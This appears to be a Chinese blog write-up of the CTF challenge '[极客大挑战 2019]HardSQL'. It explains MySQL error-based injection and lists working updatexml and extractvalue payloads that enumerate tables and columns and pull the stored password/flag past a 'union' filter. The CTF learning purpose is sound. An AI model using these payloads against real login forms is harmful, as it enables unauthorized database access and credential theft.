zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]HardSQL

    0x00 知识点

    报错注入
    链接:

    https://www.cnblogs.com/richardlee97/p/10617115.html
    报错原因:

    其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

    0x01 解题

    简单测试一下:

    发现union被直接过滤掉了,不能使用双写绕过等方式,不过我们可以使用报错注入进行注入可以使用extractvalue和updatexml进行报错注入

    先贴上payload:

    ?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
    

    整个过程的注入语句:

    updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
    updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
    updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
    updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
    

    出来了一部分flag:

    看网上的wp他们出来也没看到有没有出。。
    有一个思路是
    substr过滤了不能
    用另外一个骚操作{left(),right()}
    进行拼接

    playload

    username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
    

    用left和right进行拼接就出来flag了
    链接:
    https://blog.csdn.net/SopRomeo/article/details/104041233/

    但是我没出。。

  • 相关阅读:
    Liquid模板语言参考文档
    Shopify主题title/description等SEO设置
    23个Shopify免费模板值得拥有
    navicate 激活
    idea 内存溢出
    mysql for update 使用说明
    quartz-SimpleSemaphore
    达梦数据库冷备份还原的简单记录
    Beyond Compare 的比较以及导出的简单设置方法
    PG13 离线安装的简单办法
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12257412.html
Copyright © 2011-2022 走看看